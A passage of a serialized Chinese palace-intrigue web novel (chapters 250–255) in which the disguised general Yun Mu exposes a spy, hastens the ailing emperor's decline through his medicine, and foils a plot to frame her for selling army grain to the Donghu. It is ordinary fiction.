昨日她的人顺藤摸瓜找到了他们背后的主子,云暮当真没想到会是梁承熙。 她曾答应过贵妃放他一马,但这一次是他自寻死路,这可就怪不得她了。 云暮接过他的话:“是结草衔环。想在本将军的手下做事,须得读书识字,你可愿意?” 夏光本以为会被盘问一番,心中早就想好应对之策,没想云暮竟看在昨日的份上,就轻易让他进了府。 而剩下的另一个名额,砚石盘问了许久才终于定下,夏光更是飘飘然。 曾经云府的小厮不少,但她已经预想到梁文帝除了她的官职一事,到时府上还有这么多小厮,就是僭越,她不能落人话柄。 是以她遣走了一部分,又特意空出两个名额来做饵。 就这样过去了三日,梁文帝那头依旧没有动静,云暮每日也只是去布政坊点个卯,公事则都推给郑鹤桉他们。 这日,吕梁来了布政坊。 “云将军,皇上昏了好几日,太医束手无策,您能否进宫给皇上号个脉?” 云暮挑了挑眉,难怪这几日无事,她还当是梁文帝对她贼心不死呢,只是沈聿明怎么没和她提起此事? 她和梁文帝争吵一事被吕梁捂得死死的,她如今对外还是梁文帝的人,皇上既生了病,她又岂能坐视不理? 云暮取下狐裘披在身上:“备马车,走吧。” 云暮的双指搭在脉上时,她的眉心拧了起来,贵妃见状,忙道:“云将军,皇上怎么了?他可还安好?” 云暮缓了脸色,“皇上无碍,只是气急攻心,郁气挤在胸口,这才致皇上一病不起。待下官为皇上施上几针,定能转好。” 贵妃才放下心,命人去太医院取银针。 云暮眼下是为了梁文帝而来,自然是带了银针,但她并不想给量温度用。 施完针的一刻钟后,梁文帝终于慢慢清醒,云暮此刻站在最外边,还有帘子遮住视线,她并未暴露在他的面前。 梁文帝醒来的第一句话就是:“云暮呢?” 贵妃坐在他的床榻边,把人往床上按:“皇上,您还受伤,莫要再想公事了,有什么事不如晚些再说。” 云暮强行施针将他唤醒,本就耗费心神,梁文帝还要再说些什么,就栽在了龙床上。 云暮带着吕梁去太医院给梁文帝抓药,路上,她问:“谁指使你的?” 吕梁是个聪明人,他道:“无人指使。那日您和皇上吵架后,皇上命小人去请丞相和六部尚书。奴才打担心皇上他们是为了您而来,于是就给皇上的东西里加了点旁的东西。” “东西不多,但奴才没想到皇上的身体竟如此弱。但太医依旧无动于衷。” 吕梁这也是为了他,还给安叔和十五争取了好几个时日,云暮都不知道该说他什么好,只能道:“下次莫要再这般莽撞,黄如海若是还在,他早就发现端倪了。” 云暮这一次加大了药量,梁承熙在找他的破绽,她又和梁文帝决裂了,往后只怕会有更多的人落井下石。 西北西南战事未定,将军因梁文帝的命令,畏畏缩缩不敢上前。 云暮只想早日让梁文帝暴毙身亡,助身于命好叫大梁的将士一扫萎靡之风。 加大药量后,梁文帝清醒的时间越发多,他还当自己已经大好,只有云暮知晓这是回光返照。 第二百五十章 再见梁承熙 自从夏光来了之后,被人监视的感觉越来越明显,云暮强忍着把人丢出府的冲动。 这天小厮才将热水抬到耳房,云暮才解下斗篷,一只鬼鬼祟祟的人影贴在窗上,手指沾了唾沫捅出一个窟窿,夏光睁一只眼闭一只眼从洞口朝里看去。 随即一声尖叫响彻整个云府。 云暮摘是和第一次见面时相比,夏光狼狈了不少。 “谁派你来监视本将军的?” 云暮拿着铁钳在炭盆里翻来翻去,将两个炭盆里的银丝碳的炭灰拨了干净,露出被烧得通红的炭身。 夏光砰砰磕头:“将军,您说的话小人一个字都没听懂,小人孤家寡人一个,您又对小人有救命之恩,小人怎么会监视你?” 云暮轻笑:“是吗?你方才在本将军的窗外是想做什么?” 夏光绞尽脑汁,才终于想出来一个称得上理由的理由,他道:“将军,本想来提醒您水不够烫,但小人在外面叫了您好一会儿,您都没有应,小人怕出什么意外,这才出此下策。” 云暮道:“这么说,是本将军误会你了。” 夏光见糊弄过去,长吁了一口气,道:“将军这话就折煞小人了,能为将军效力,是小人的荣幸。” 云暮做回椅子上,敲了敲炭盆,“这儿只有你一个是新来的,你得让本将军看到你的忠心。” 夏光迟钝地看着火盆,又看向云暮,不确定地问道:“大人您想让小人怎么做?” 陈江一脚把人踹到火盆前,“抓着炭火,等到炭火熄了才能放手,你若做得到,将军自然会相信你的忠心。” 火盆被烧得极烫,映得夏光的脸都泛起红意,他几次三番伸出手,但没一次敢拿起被烧得通红的炭火。 陈江催促道:“还不拿,你在等炭火熄吗?” 见他还是不懂,陈其抓着他的手朝炭盆伸去。 “不……不行,小人做不到,小人会死的。” 他看向云暮,“大人,小人所言句句属实,绝无欺瞒啊。” 云暮抬起下巴轻点炭盆:“既如此,你更该让本将军看到你的诚心才是。” 夏光摇头,双手撑在地上,双腿乱蹬,不住往后退:“不行,将军,小人这双手还要留着伺候您,它不能废。” 云暮拿出一个瓷瓶,施施然道:“此乃上等的金疮药,不管是何伤,只需敷上几日药,伤口便能大好。” 她又拿出一个淡青色的瓷瓶,继续道:“若伤势过重,本将军这儿也还有旁的药,只需将药汁倒到伤口上,半个时辰内,定能大好。” 话都说到这份上了,夏光再不拿炭火就说不过去了。他跪行上前在火盆前犹豫,但终究还是不敢拿。 “将军,他……他也是新来的,他也得拿。”夏光指着拿着银丝碳走近的程彬说道,他就算逃不过,也得拉一个人下水。 程彬目不斜视,往其中一个炭盆里添了炭后又退了下去。经过夏光身旁时,他被夏光扯住,“没听见我说的话吗,我允许你走了吗?” 因云暮的吩咐,府中人都对夏光百依百顺,由着他在府中作威作福,今夜这里摆明了是要整他,他不仅不做小伏低还敢如此张狂。 程彬在心中骂了一句蠢货。 云暮冷笑了一声,“本将军不知云府是你当家做主了,竟当着我的面教旁人做事。” 夏光油嘴滑舌,惯会讨人开心,在梁承熙身边很是的脸,在云府亦是,他也渐渐把自己当成了半个主子 眼下听到云暮这般说,他终于惊出了一身冷汗,“大人,小人不敢。” 云暮道:“不敢?你有什么不敢的?把云府当成了自个儿家,日日将本将军的行踪报给你的主子,你真当本将军不知?” 云暮念出他这几日去见梁承熙的时间,她好奇问道:“梁承熙每个月给你们多少月钱?他自小养尊处优惯了,贵妃留给他的钱应该所剩无几了吧。” 巨大的惊恐让夏光忽视了“你们”二字,他还是想将自己摘出,“将军,许是看错人了,小人日日待在府中,怎么会和梁承熙相见呢?” 云暮挥了挥手,便有人将孔瑞阳等人押了上来,她道:“你看看他们眼熟吗?” 除去孔瑞阳,其余的三个都是那日与他一同用饭的同伙,难怪那天之后他都没再见过这几人,梁程熙还问了几次人去了何处,但把几人常去的地方都找了个遍,还是没有发现。 人在他的眼皮子底下,他却没有发现,夏光才知道他被云暮骗了。 “呵呵,是我们技不如人,要杀要剐都随便。” 孔瑞阳几人本还心存妄想,只要他们不招,待夏光发现他们不见后,定会报官,事情闹大了,云暮最后也只能放人。如今想来,这是不可能了。 云暮命人把他们重新押下去,独留一个夏光,她拿起烧得通红的铁钳,一张一合地靠近夏光,道:“他们都招了,你呢?只要你说,那些刑具就不会用在你身上。” “要知道,你们招了,那就是悬崖勒马。” 夏光不知真假,有可能云暮是在恐吓他,但铁钳即将落到身上时,他还是招了。 “我说,我什么都说。” …… 云暮听后,隐晦地勾了勾唇,能想到从身世给她一击,看来梁承熙并非完全没有脑子,只是可惜了。 梁承熙今日照常来了和夏光约定好的地方,想着即将能将云暮踩在脚底下,他便激动得在原地转了好几圈。 云暮半蹲在屋顶上打量着梁承熙,没了养尊处优的生活,他憔悴了不少,若是他当初听劝,拿着那笔钱随意去一个无人认识他的地方,足以安然度过余生。 “梁公子,许久未见,别来无恙。听闻你近来怕我府上的小厮照顾不周,特意让身边的人去云府关照一二,本将军可谓是感动。” 梁承熙和云暮打过不少交道,对方又是害死他母妃的凶手,这声音他怎么敢忘? 第二百五十一章 粮草掺假 他猛然抬头,盯着云暮咬牙道:“云、暮。” 云暮跃下房顶,抱着双臂望他:“昔日名满京城的三皇子,多少人都求不来一个拜见的机会,如今这是在等人?” 云暮于他有杀母之仇,又被如此挑衅,梁承熙如何能忍? 他怒道:“云暮,杀人偿命,你害我母妃,身死,又置我身陷囹吾,你该死!” 云暮侧身躲过他的一拳,道:“梁公子此话有误,您非皇上之子,何秋林生前又被皇上废弃,不可称其为母妃。” 她的一字一句都在戳梁承熙的心窝子。 梁承熙心中的怒火越烧越旺,但他诡异地冷静下来。 “即便如此,本公子碾死你还是和碾死一只蝼蚁一样容易。” 他的目光扫向云暮,想要看出点端倪,可云暮整个人都裹在狐裘里,但这也无碍,他还有别的法子能揭穿云暮的身份。 云暮向他抛了一枚木牌:“梁公子就靠他碾死我吗?” 上边赫然是一个孔字。 梁承熙还当是什么暗器,长袖一卷,将其挥落,待看清东西后,他面色陡然变黑。 “废物。” 许是从前的跟踪从未被发现,梁承熙对于他们几人很是放心。一朝被抓,他不免恼怒。 云暮道:“孔瑞阳虽没完成你吩咐的事,可他为了你差点要拿起炭火表忠心呢,梁公子这般说,可真是让人心寒。” 梁承熙权当他在扯谎,“那又如何,能为本公子做事是他们的荣幸,结果他们连件小事都做不好。早知如此,当初就该换了他们。” 云暮朝身后的围墙道:“听到了吗,你们心心念念的主子竟然觉着你们是登不得台面的。” 几个被堵住口的人失望地望着梁成熙,尤其是孔瑞阳。他的干爹本是长乐宫的太监,伺候过梁承熙。贵妃出事前,干爹便到年纪出宫了,还收留了作为乞儿的他。 贵妃出事后不久,他干爹特意打听了梁承熙的去向,他便代替干爹跟在梁承旭身后做事。 云暮命人放开他们,“本将军也不是不讲情面之人,你们的主子在这儿,便放了你们,往后再落到我的手里,就没有今日这么简单了。” 这些个都是市井混混出身,由着他们狗咬狗,能让梁承熙头疼好一阵了。 “大人,皇上宣您进宫一趟。” 该来的还是会来。 云暮跟在太监省后,一言不发。情况无非两种,一是撤了她的大将军之位,二是把她宣进宫杀了灭口,然不管哪一件,她都无惧。 云暮问吕梁:“皇上的身子近来如何?” 吕梁心事重重道:“还是老样子,只是近来又重新吃了仙丹,认为不日便能得到飞升,不再再管世事。” 云暮不知该说什么好,她告诫过梁文帝,仙丹内含朱砂,长久服用会染上中毒之症。 梁文帝起初听了一段时间,然后便又继续服用丹药。 她不想再劝,也懒得再劝,他死得越早,对她就更好。 见人不语,吕梁忙到:“今日皇上的心情尚可,大人可勿用触到他的逆鳞。” 几日没见,梁文帝的身子又差了许多,宽大的龙袍将其罩住,显得格外空荡。他整个人窝在龙椅里,更显颓色。 云暮跪地行了一礼,“微臣见过皇上。” 梁文帝没让她起来,她只能维持着跪地的姿势,不知跪了多久,膝盖慢慢没了知觉。 良久,梁文帝才像是发觉堂下跪了人,道:“起来吧。” “朕可以革了你觉的职,将你放回江南,但朕也有个条件。” 还有这等好事? 云暮不知梁文帝的葫芦里卖的什么药,她道:“皇上直说便是。” 梁文帝深吸了一口气:“将药方交出来,朕当即派人送你回江南。” 梁文帝如今吃的药是从云府送来的,一日两碗,半点药渣都无。太医院的太医反反复复试了好几天的药,仍是没能将药材辨明。 只怕是药方交出去,下一刻她的小命也要交代在这儿了。 云暮道:“皇上,并非臣不愿交出药方,只是药方乃师父所写,一碗药便值一万两黄金。药方若是传了出去,药王谷往后也就不用存在了。” 软的不行,梁文帝便想来硬的。 “你若不交出药方,朕即刻给江南去一封书信,药王谷的存亡就在你的一念之间。” 梁文帝靠着她的药续命,云暮赌她不敢杀她,也不敢动药王谷。 她以头触地:“皇上,请恕微臣做不到,今日即便是师兄在此,也会和臣做出同样的选择。药王谷因此遭劫,也是它的命数。” “滚出去!” 云暮听完,麻溜地出了勤政殿。 宫门口,沈聿明正坐在马车里等她。马车里剩了炉子,上头摆了橘子、桂圆、核桃等东西,边上还有一个正在冒着热气的小瓦罐,整个马车都是甜滋滋的味道。 “他可有为难你?” 一路走来,风吹得她直哆嗦,云暮压低身子,离火炉更近了些,“没有,他的命都攥在我手里,他想活一天,我就能安然一天。” “可他已经病入膏肓,天下哪有什么能从阎王手里抢人的药方,不过是些假象罢了。” 沈聿明倒出瓦罐里的茶,将其中一杯递给云暮,触到她带着温度的掌心,他不禁自得。 这几日云暮往宫里送药,他往云府送滋补的药膳,终于把云暮养得好了一些。 “润州那边传信来说,军饷被人克扣了,就连军粮也被人做了手脚。一车的粮,被人掺了大半的稻壳。食不果腹,如何杀敌?” 云暮的喜悦顿时消散,“裴然做的?” 沈聿明道:“还不清楚,我的人还在查,此事现在还未传出风声,他们想来还不知事情败露。” 云暮面上的忧虑更深了,“押送军粮军饷的恰好有我的人,此事恐怕是冲着我来的。” 将来以药方保命,她做还是不做? 沈聿明剥开橘子皮,香甜的味道更重了,他递了一瓣到云暮嘴边。 “莫急,还有几日时间,够我们去查了。” 第二百五十二章 去哪儿了 才回到云府不久,一张拜帖就递到了云府,云暮一看,正是那个负责押送粮草的京官庄鹏飞。 “让他进来。” 庄鹏飞才见了云暮,直直地跪了下去,抱着云暮的腿开始哭诉:“将军,您得救救下官啊。” 云暮才要把人踢开,沈聿明已经拎着庄鹏飞的衣领把他扯到了一旁,“说话就说话,拉拉扯扯,成何体统?” 庄鹏飞扭头一看,大惊失色:“王……王爷?您怎么在这儿?” 他是云暮的人,两人私下里商量应对之策实乃常事,沈聿明和云暮不和,若是被他知晓,他的小命还能保住吗? 沈聿明嗤笑了一声,“难道本王去何处都得知会你一声吗?” “下官不敢。” “够了。” 云暮不大喜庄鹏飞,但眼下不是争吵的时候。 “你知道多少?” 庄鹏飞不确定云暮所说的和他要说的是不是一件事,他小心翼翼地问道:“将军说的可是粮草被换成稻壳一事?” 云暮看白痴一样看着他:“不想死就把你知道的事情说出来,否则本将军就是再有手段都救不了你。” 庄鹏飞无比后悔抢了这个差事,便宜没占到,脑袋先不保了,他跪行至云暮身前,哀求道:“将军,下官错了,您得救救下官。” 云暮额角直跳,心中直问她当初怎么就选了这个蠢货? “把你知道的一五一十地说出来。” 丞相府,书房。 崔相手持黑子正和裴然下棋。 黑子一点一点围攻白子,白子很快就溃不成军。 裴然对下棋一事并不热衷,眼见要败了,他随意下了一子,让本就危急的白子败得越发快。 “这一次,云暮必死无疑。” 崔相悠悠落了一子,堵住了裴然的路,道:“事情还未见分晓,裴大人就这般笃定他会败?” 裴然压低了声音,“他捏着药方不肯给,皇上正恨他呢,没将他革了还是因为那张药方。” “昧下军粮倒卖给东胡,他不死皇上怎么和那些死去的将士交代?到时他以药方换命,交出药方之时,就是他身死之日。” 崔相见识过云暮的奸诈,他不敢全然相信裴然,“他当真一无所知?” 裴然拍着胸膛道:“消息都捂得死死的,丞相大人,我行事你放心。” 崔相提醒道:“这几日多派些人去云府周围守着,若是有可疑之人要通风报信,直接把人摁了。” “我省得。” 这个计划他们一早就和梁文帝定下了,就算庄鹏飞不接这个差事,他们也会以各种名头安在云暮的人的头上。 另一边的云府,在庄鹏飞磕磕绊绊的话语中,云暮才知是有人将其带到粮仓,并给他看了那些装着稻壳的粮袋。而他并不知晓已经有一批顶着粮草的名义的稻壳被运到了润州。 那批粮已经到润州两个月余,下一批粮将在半个月后运往润州。庄鹏飞感觉天都塌了,恍惚间竟看到有御史拿着奏折要去勤政殿参他一本。 “将军,这可如何是好啊?” 云暮被他问得直心烦,语气也带了不悦:“当初叫你推了这个事你死活不肯,如今差事没做好,被人钻了空子,知道怕了?” 庄鹏飞苦着张脸道:“下官也只是想为将军分忧。” “本将军差那几个歪瓜裂枣?” 见他还不思悔改,云暮一掌拍在桌上,桌子被她的力道震得动了两下。 庄鹏飞此刻已经飞不动了,开始装起了鹌鹑。 云暮被气得心肝直疼,但当务之急是要将那些稻壳换出,为避免打草惊蛇,还不能去坊市购粮。 她盘算了一下,这些年暗中购置的田庄能拿出一万五石的粮,再加上陈年旧米,勉强能拿出两万石粮。可即便有了这些,还是不够。 她看向沈聿明:“王爷,您的田庄能匀出多少粮?” 沈聿明不管田庄的事,对此他亦不知,于是叫过文竹:“让钟叔过来一趟。” …… “将军,弟兄们在杀敌,京城那些没良心的狗官夜夜笙歌也就罢了,如今竟克扣粮食,不顾我们的死活,这城池,不守也罢。” 副将捧着只有零星几粒米的粥水愤愤不平,最后一句多少带了些赌气的成分。 朝廷一直以来都是如此,余炳仁已经见怪不怪,他分给了副将近一半的米水,“我来想办法,让他们今夜暂时再多添些水,” 副将叹了一声,余炳仁虽为将军,但他半点架子都没有,营帐里的蜡烛彻夜长燃。第二日一早便去巡城,亦或是迎战东胡。 他才要把半碗米水再还给余炳仁,但对方已经放下了碗。 傍晚,寒风裹着风沙,刮在人的脸上划出一道道口子,几个鬼鬼祟祟之人推着几辆装得满满当当的木板车出了城。再出现时,木板车上空无一物。 待他们回了营帐后,又有一人不知从何方跑出,清明的双目瞬间变成朦胧睡眼。钟其摸索着上了炕,将自己裹成一个茧子。 一个黑影落在他身上:“你去哪儿了?” 钟其翻腾了一下,把被子压得更紧实,“去小解,还能去哪儿?” 立在炕头的男人又问:“我方才怎么没有见你?” 钟其纳闷道:“你何时去的?” 见他还要问,钟其也躺不下去了,他立在炕上,作势要脱下裤子。 男人往后退了两步,警惕道:“你想做什么?” 钟其动作不停,将脱下的裤子砸在男人脸上,“做什么?不过是叫你知道我方才去做了什么。味道如何?” 润州不仅缺粮,还缺水。 钟其裤子上的气味很是浓郁,男人恼得将裤子砸了回去,连呸了几声,“你小子皮痒了是吧?” 此刻已经是深夜,他们的这番举动引来了同住之人的不满。 男人理亏,寻不到钟其跟着他们的证据,亦不敢暴露他们今夜的行踪,只能咽下这口气。 “你给老子等着。” 营帐再次平静之后,钟其偷偷掀开被子一角,再次借着解手的名义溜了出去。 他从沙中摸出纸笔,飞速写了好些字。鸽子展翅,飞向京城。 第二百五十三章 云暮通胡 “皇上,臣有要事启奏。” 今日的药是云暮送进宫的,她人前脚刚到,御史后脚就来了勤政殿。进门之时,死死盯着她的双目带了一丝兴奋。 云暮心有预感,但她没有丝毫惊慌,而是慢条斯理地从食盒里端出一碗热气腾腾的药。 御史还要说什么,云暮淡淡提醒:“皇上正用着药,陈大人有话不妨晚些再说。” 梁文帝如今处处看云暮不顺,如今他身子大不如前,对于情爱一事已是有心无力,再看云暮除了怨便只剩下恨。 闻言,他将药碗重重搁在桌上,“朕还在这儿,你便越过朕替朕下主意,当朕死了吗?” 云暮退至陈御史身侧,跪了下来:“皇上息怒,微臣不敢,微臣只是担忧龙体。” 这话像是把柴,将梁文帝的怒火烧得更胜:“你当真有心就该将药方交出,而不是在这里假惺惺。” 云暮垂头不语。 这一闹,梁文帝没了喝药的心思,他看向陈御史:“你说。” 陈御史得意地瞥了一眼云暮,且看云暮这次还如何张狂? 他道:“云大人和东胡勾结,私吞军饷,以稻壳换粮草,再卖于东胡,同伙乃其举荐之人庄鹏飞。” 不管何时,私吞军饷皆是大罪,更何况还有一个通胡的罪名。 这个计划早在余炳仁出发前便已定下,梁文帝并无意外,他随意翻看了几眼折子,便将折子丢在还跪在地上的云暮面前。 “你怎么解释?” 云暮猛然抬头,“皇上,冤枉啊!粮草的押运官庄鹏飞虽说此前与微臣有些来往,然并非臣举荐。微臣人在京中,怎能将军粮卖与胡人?” 她又看向陈御史:“陈大人,这罪名扣得有些牵强了吧?” 陈御史点了点奏折:“证据皆在其中,云大人不妨看了再狡辩。” 云暮将信将疑地捡起地上的奏折,越看她面色越沉。 证据确凿,何时何地与何人交接,卖了多少银子都写得一清二楚,就好似陈御史在旁围观一般。 云暮已提早看过这些东西,可再看一次还是觉得不可理喻。 镇北侯昔日身死是因其功高盖主,惹了先帝猜疑,她不过一个金吾卫大将军,平日里也就是替梁文帝处理一些脏事。不过是一条狗罢了,算什么功高震主?哪里就值得他们花这么多心思害她? 她郑重道:“皇上,不过是一些不知从何处得来的供词,怎么就能认定是臣所为?” 陈御史又拿出了几封书信,“早便料到你不认,云将军看看这些可是你的笔迹?” 按理说该梁文帝先看,但云暮的头脑此刻已经被“惊慌”占据,她越过吕梁先拿到了书信。 城南云府,书房。 陈江坐在梁上,盯着在下头胡乱翻东西的程彬,只见他从怀里掏出一沓信封,又将其压在书柜的最下层。 将东西都回归原位后,他又轻手轻脚地打开书房门口。 这几日云暮告假,日日待在家中,他根本找不到下手的机会。今日云暮奉皇命进宫,他才终于找到了机会。 才出门,程彬就被头顶的声音吓得差点跌坐在地。 “你鬼鬼祟祟地在大人的书房里做什么?” 砚石,他不时随云暮出门了吗? 程彬稳住心神,他解释道:“大人出门前命小人来整理书房。” 云暮的书房虽不是重地,她不在府中时,只有她信得过的人能进,而程彬显然不属于这一挂。 柜门开合,紧接着就是陈江的声音,“怎么你一进书房,书房就凭空多了些东西?” 程彬倏地转过身,惊骇地看向陈江:“陈……陈护卫,您不是送大人进宫了吗?” 信封拍打陈江手心发出的声音像是击在程彬身上的板子,他矢口否认:“陈护卫,这些东西我从未见过。” 除去陈江,无旁人发现,那就只是他的一面之辞,只是这信若被毁了,他们的计划就成不了了,这该如何是好? “云大人可在府中?”徐文急匆匆地扯下腰间的令牌丢给门房。 门房是从从前的云府带来的,自然认得徐文,他恭敬道:“回大人,将军奉旨进宫,尚未回府。” 徐文又问:“砚石他们可在?” “在的,小人带您进去。” “徐大人,您怎么来了?” 徐文把砚石二人拉到一边,低声说了几句,不时看向被捆着的程彬。 不到一盏茶的功夫,徐文径直出了府,他利落地翻上马背,朝宫门的方向飞驰而去,临到半道时,又拐进了一家成衣店。 “公公,今日有哪位大人进过宫?” 徐文往守门的太监手里塞了一个鼓囊囊的荷包。 太监掂了掂荷包,喜他识趣,又见他衣料比寻常小厮好上不少,还当他是朝中哪位大人派来的。 “方才云将军来了,不多是陈御史也来了,到现在还未出宫。” 徐文的脑子里此刻只剩下四个字,“调虎离山”。 他还欲再塞一个荷包,不远处的侍卫正朝他们走来,那架势看着像是去砍头的,再一看,他看见被簇拥在中间的云暮和陈御史。 视线交汇的那一瞬,云暮脸上的镇定几欲裂开一个口子。 知她喜静,除去逢年过节,徐文他们鲜少会主动寻她,追到宫门来更是前所未有,是布政坊那头出了事。 果不其然,就在他们迈出宫门那一刻,一个御史正迈着大步朝他们走来。双方迎面相碰之时,云暮看见陈御史对对方轻点了头。 带着人巡查京城的事没少做,但被人半押着在京城里走却是没有。被众人围观之时,云暮听见陈御史讥道:“云将军还真是深得百姓‘爱戴’。” 云暮谦虚道:“比起陈御史,本将军有过之而无不及。” 陈御史那张嘴得理不饶人,他的夫人也深得他的真传。 若说云暮能止小儿夜啼,那陈御史夫妇便能让全京城人避之不及。 甭管是去别人府上参宴,还是与世家妇一道出行,能把周遭的人都骂个遍。 那等泼妇做派,京城的大多数人都深受其害。 第二百五十四章 通胡的证据 陈御史那张嘴得理不饶人,他的夫人也深得他的真传。若说云暮能止小儿夜啼,那陈御史夫妇的嘴便能让全京城人避之不及。 陈御史自认为其刚正不阿,于朝堂痛斥皇上和同僚,尤其对靠着旁人举荐的官员很是不齿。每每遇到,不管身在何处,都要讽上几句。 至于他的夫人,甭管是去别人府上参宴,还是与世家妇一道出行,能把周遭的人都骂个遍。便是不小心碰到她的一下,她也能扯着人的衣服骂上一个时辰。 那等泼妇做派,京城的大多数人都深受其害。 陈御史自打进了云府,便开始频频张望,云暮问道:“本将军竟不知陈大人对云府这般好奇,还是说陈大人在找什么人?” 栽赃诬陷一事太过顺利,陈御史也没察觉出有何不对,还当他们行事太过隐秘,瞒过了云暮。 他斜睨云暮,心道:且让你再轻狂一次,等会儿便是那神医辛百草亲临皇宫都救你不得。 “本官能在你的府邸找什么?不过是瞧着这儿比起从前的云府差得太多,感慨一二罢了。” 提及云府,他便气得不行,就在他们想动手时,云暮忽而搬了府。 从前那处宅子是皇上所赐,搬走时她还不忘让皇上派人查验,还签了字据,称往后再从此府邸搜出不合规之物与他无关。 将云府翻来覆去都搜查了一遍,为不让其起疑心,皇上只好签了。 幸而云暮这个蠢货又给他们递了机会,让他们能趁机把人安插进云府。 云暮懒懒地靠坐在书房的太师椅上,对着那些正要搜府的人说道:“仔细你们的手,若是把云府的东西损坏了,该赔多少赔多少,本将军可不会看在我等皆是金吾卫的份上宽宥你们。” “是。” 书房东西多且杂,唯有她亲自盯着才放心。昨日她已经将小厮从庄子上悉数调回府中,如今的云府三步一小厮,把人盯得死死的。 陈御史站在一旁,幸灾乐祸道:“云大人还有闲心管这些死物,不如担心自个儿的脑袋吧。裴大人如今可是带着衙役前往粮仓了。” 对于陷害她的人,云暮可没这么好心,她不发话,无人敢给陈御史搬椅子。 她头往陈御史的方向侧了几分:“陈御史,那些事本将军从未做过,你身为御史,有失偏颇,与那些奸人一道害我,你当真是刚正不阿。” 陈御史不过是个沽名钓誉之辈,平日里的所作所为皆是假象。这次被云暮直接道出,他不免有些恼怒。 “你不过一个阉人,哄得皇上对你言听必从,破例封你为官,你不思报恩,暗中与旁人联手通胡……” 陈御史越说越激动,越说便越觉得他说的是事实,于是又开始痛斥云暮。 这些话听得耳朵都长了茧子,但让云暮最无法忍受的还是他横飞的唾沫,怪恶心人的,等会儿得让人烧一锅水好好地去去晦气。 她忍无可忍:“陈大人,你瞧他们搜出的是什么?” 陈御史看着封好的信件,喜道:“定是你通胡的罪证。”他见过那几封信,与侍卫手中拿的一模一样。 他上前夺过信封,“这一次,你还怎么狡辩?” 云暮没有动作,但攥着扶手的手爆起了青筋,慢慢坐直了身体。 “这是什么?” 陈御史不可置信地打开第二封信。 第三封…… 第四封…… 他不可置信道:“不可能,我亲眼……” 陈御史忽然捂住他的嘴,事情超出他的意料,竟让他差点把心里话说了出来。 看着他的反应,云暮的手慢慢放松,她知道砚石他们把人拿下了,如今最担忧的就是布政坊。 徐文策马回到布政坊,才到门口就被郑鹤桉的人拿下了。 “当值时间肆意外出,你若是不想在布政坊当差,只管递辞呈上来就是。调遣一个无足紧要之人,我还是做得了主的。” “知你们几人和云将军关系好,他如今出事你们也不好袖手旁观,想着给人通风报信,但你们不过一些小鱼烂虾,能顶什么事?不如顾好自己。” 徐文作为几人中头脑最为灵活的,深知和郑鹤桉呛声并无好下场,他惊讶抬头:“中郎将,云将军出什么事了?” 郑鹤桉拧眉问道:“你不知道?那你方才去了何处?” 徐文面上的惊讶转为担忧:“中郎将,您也知道,属下自打进了布政坊,便是在云将军手下当差,这几日云将军总是告假,属下和冯章他们忧心不已,便想着换值后去云府走上一遭,可谁知云大人竟进宫了。” 说到进宫,徐文的脸色忽然变得惨白:“云将军他……不会是惹了圣怒吧?” 郑鹤桉狐疑地打量着他,吩咐了身边人几句,那人去马厩牵了一匹马。 “倒是我误会你了,起来吧。” 换值后便可下值,徐文也算不上是当值之时外出。派了人去打探消息,但他总不能一直让徐文在此处跪着。 云暮那头还不知是何情况,他如今还没收到任何风声,得做两手准备。 “你下去吧,只是今日莫要再离开布政坊。” 徐文心中一喜,连忙应下。又趁人不备,从窗户翻进屋寻冯章。 “找到了多少?” 冯章将几个比尾指还细的竹筒摆在桌上,“将架子都搜了一遍,找到了这些,不知别处还有没有,伍华他们还在搜。” 这些都是云暮和冯章“通胡”的证据,不知被何人封进了书架,若不是书架被虫蛀了,他都不知自己的地方被人藏了东西。 徐文想起先前郑鹤桉几次三番趁云暮不在溜进他的书房,后来他们也并未在云暮的书房发现什么不该出现的东西,恐怕郑鹤桉想着以此为叶,让他们一叶障目。 冯章问道:“大人如何了?身体可还好?” 徐文凝重地摇了摇头,“云大人怕是出事了。大人从宫里被人押着出来,方才中郎将又说漏嘴,我谎称不知,这才蒙混过关。” “大人就没给你留下一句话?” 第二百五十五章 搜府 云暮气定神闲地看着气急败坏的陈御史,“怎么?陈御史亲眼见到这几封信是如何进了本将军的书房?” 陈御史心里直发慌,他虚张声势道:“云将军,没有证据的话可不能乱说。” 云暮轻笑了一声,意有所指:“是啊,子虚乌有的事,可不能随意乱扣帽子。” 有小厮盯着,便是有人想做手脚亦不能,半打的云府,三十余人足足搜了小半日,竟半点空子都找不到。 陈御史频频看向坐在满口的云暮,手不住地在袖口摩挲,他赔笑道:“云将军,下官茶水喝多了,可否带下官去解个手?” 进宫时皇上不曾赐茶,来云府后云暮更是不曾给茶水,陈御史这是哪门子茶水喝多了? 云暮的指尖在扶手上敲了敲,“来人,带陈大人去茅厕。” 陈御史的笑僵在了脸上,“这……” 他的本意是想支走云暮,好叫书房里的人动手,谁知对方竟不上当。话虽出口,但他还是硬着头皮改了口:“下官眼下又不急了。” 云暮“哦”了一声,夸赞道:“御史大人真乃君子,能忍常人所不能忍。” 陈御史老脸一红,只能祈祷布政坊那头别出乱子。 “宫里来人了。” 外头吵嚷了片刻,很快又重回安静。徐文两人将头探出窗外,见有一队人马朝着他们的方向走来。 “怎么办?” 上头的东西决计不能被他们发现,眼下进出不得,火盆亦未设。且看那些人的架势,不像是能善罢甘休。 “奉旨,搜查布政坊。” 冯章匆匆放下茶盏,笑着迎了上去:“都是一家人,能否和我们透个底是为了何事而来?” 为首的侍卫长往后撤了步,“可不敢和大人称一家人。” 他掌着宫中上千名金吾卫,云暮又常在宫中值守,他与云暮的关系还算不错。 但方才他得到消息,云暮通胡,私贩军粮与胡,证据正藏在布政坊。 已经调了一波人去搜查云府,结果还尚未可知,又有御史来勤政殿面圣,奏明布政坊内藏有证据。 且不论云暮是否真的通胡,御史又是如何得知证据就在布政坊,又是如何得知在冯章处?他们每日都有公事操劳,难道还能抽出时间日日去盯着云暮?除非这是陷害。 连他都能看得明白的道理,皇上如何不知?存着诸多疑点,但皇上对此深信不疑,将他派了过来, 从前不论发生何事,皇上大多是听从云暮之言,如今却只想将人摁进牢中。而他此刻与云暮撇清关系是最明智的选择。 冯章依旧挂着笑,又出声问了一句。人是从布政坊出去的,虽算不上是云暮举荐,但也有半师之恩,总归比较容易。 “甭管当不当得起,下官只有一句话,下官这房里并无你们所说的谋逆之物。可别等会儿搜完就平白无故多了封信,抑或是旁的东西。” 对面之人不喜道:“你这话什么意思?” 冯章侧身让出一条道,摊了摊手,不以为意道:“人心难测,大人如何得知对方是否被奸人所惑?” 对方冷冷盯着他:“我看你才是真的被奸人所惑。” 